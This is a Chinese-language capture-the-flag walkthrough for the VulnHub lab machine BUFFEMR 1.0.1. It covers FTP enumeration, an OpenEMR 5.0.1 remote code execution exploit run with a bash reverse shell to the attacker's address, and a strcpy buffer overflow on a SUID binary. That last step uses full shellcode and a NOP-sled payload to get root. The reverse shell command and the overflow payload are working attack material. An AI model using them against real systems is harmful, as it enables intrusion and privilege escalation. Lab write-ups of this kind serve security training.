vulnhub 靶場 BUFFEMR: 1.0.1


前期准備:

靶機地址:https://www.vulnhub.com/entry/buffemr-101,717/

kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.135

一、信息收集

1.使用nmap對目標靶機進行掃描

image

發現開放了 21、22 和 80 端口。

2. 21端口

匿名登錄 ftp:

image

發現 share 文件夾,查看一下:

image

發現是 openemr 的源碼,里面肯定藏有密碼什么的,推測 80 端口上的應該是 openemr 的網站,我先把整個目錄都下載下來了:

wget -r -np -nH ftp://192.168.11.135/share/openemr/

image

2. 80端口

image

查看源碼也沒發現什么,試着訪問一下 /openemr:

image

發現了登錄界面,需要密碼,應該在 ftp 的文件中

image

直接搜的admin,驗證后是 admin:Monster123,登錄進系統:

image

二、漏洞利用

查看一下版本:

image

發現是 v5.0.1 ,找一下相關漏洞:

image

有一個遠程代碼執行,查看一下利用方式:

image

嘗試利用:

python 45161.py http://192.168.11.135/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'

image

查看一下文件:

image

發現沒有權限訪問 buffemr 家目錄,不過在 /var 下發現個 user.zip 壓縮包,傳到kali上爆破一下:

python -m SimpleHTTPServer 8009
wget http://192.168.11.135:8009/user.zip

image

image

解壓時發現需要密碼,爆破了很久都沒爆破出來,一開始以為這個壓縮包沒用,后來想着密碼應該在 ftp 的哪些文件中,找了很久,直接找文件名為 key 的文件

image

密碼是:c2FuM25jcnlwdDNkCg==,解壓 user.txt 壓縮包:

image

發現了 buffemr 用戶的密碼:Iamgr00t, ssh 登錄:

image

查看文件,發現一個 flag:

image

三、緩沖區溢出提權

查看權限和 SUID 二進制文件:

image

image

發現 /opt/dontexecute 文件比較可疑,查看一下:

image

發現這個二進制文件使用了一個名為 "strcpy" 的函數。strcpy() 函數沒有指定目標數組的大小,會導致緩沖區溢出。可以嘗試溢出緩沖區來運行 shell 代碼獲取 root 權限,先看一下 ASLR 禁用了沒有:

image

發現禁用了,gdb 運行:

gdb -q dontexecute

image

然后用 metasploit 中的 pattern_create.rb 生成數量 1000 的字符串用來計算偏移量:

image

將生成的字符串用命令 r 在 gdb 中運行二進制文件:

image

程序運行崩潰,計算一下偏移量:

./pattern_offset.rb -q 0x31724130

image

計算出偏移量是 512,查看ESP寄存器的值:

x/300wx $esp

用esp 寄存器的 0xffffd6a0 替換 4 個 B,因為是小字節序,倒過來寫,構造 payload:

先找個 shell:

\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

我的 shell 是 53 字節:

image

NOP:512 - 53 = 459。

所以 payload:

$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')

image

沒有提權成功,在外面運行一下:

image

獲得 root 權限,查看 flag:

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM